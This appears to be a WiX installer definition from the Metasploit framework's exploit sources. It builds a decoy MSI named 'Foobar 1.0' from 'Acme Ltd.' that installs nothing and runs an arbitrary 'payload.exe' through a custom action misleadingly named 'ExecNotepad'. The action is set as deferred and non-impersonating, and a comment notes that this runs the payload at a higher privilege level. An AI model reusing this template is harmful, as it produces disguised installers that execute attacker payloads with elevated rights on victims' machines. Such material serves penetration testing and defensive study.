metasploit-gs/external/source/exploits/exec_payload_msi/exec_payload.wxs

<?xml version='1.0' encoding='windows-1252'?>
<Wix xmlns='http://schemas.microsoft.com/wix/2006/wi'>
  <Product Name='Foobar 1.0' Id='*' 
    Language='1033' Codepage='1252' Version='1.0.0' Manufacturer='Acme Ltd.'>

	<Package InstallerVersion="100" Languages="0" Manufacturer="Acme Ltd." ReadOnly="no" />	
	
	<Media Id='1' Cabinet='product.cab' EmbedCab='yes' />

	<Directory Id='TARGETDIR' Name='SourceDir'>
	   <Component Id='MyComponent' Guid='12345678-1234-1234-1234-123456789012'>
		  <Condition>0</Condition>
	   </Component>		
	</Directory>
	
	<!-- Execute must be deferred and Impersonate no to run as a higher privilege level -->
	<CustomAction Id='ExecNotepad' Directory='TARGETDIR' Impersonate='no' Execute='deferred' ExeCommand='[SourceDir]payload.exe' Return='asyncNoWait'/>

    <Feature Id='Complete' Level='1'>
		<ComponentRef Id='MyComponent' />
    </Feature>
	
	<InstallExecuteSequence>
		<ResolveSource After="CostInitialize" />
		<Custom Action="ExecNotepad" After="InstallInitialize" />
	</InstallExecuteSequence>

  </Product>
</Wix>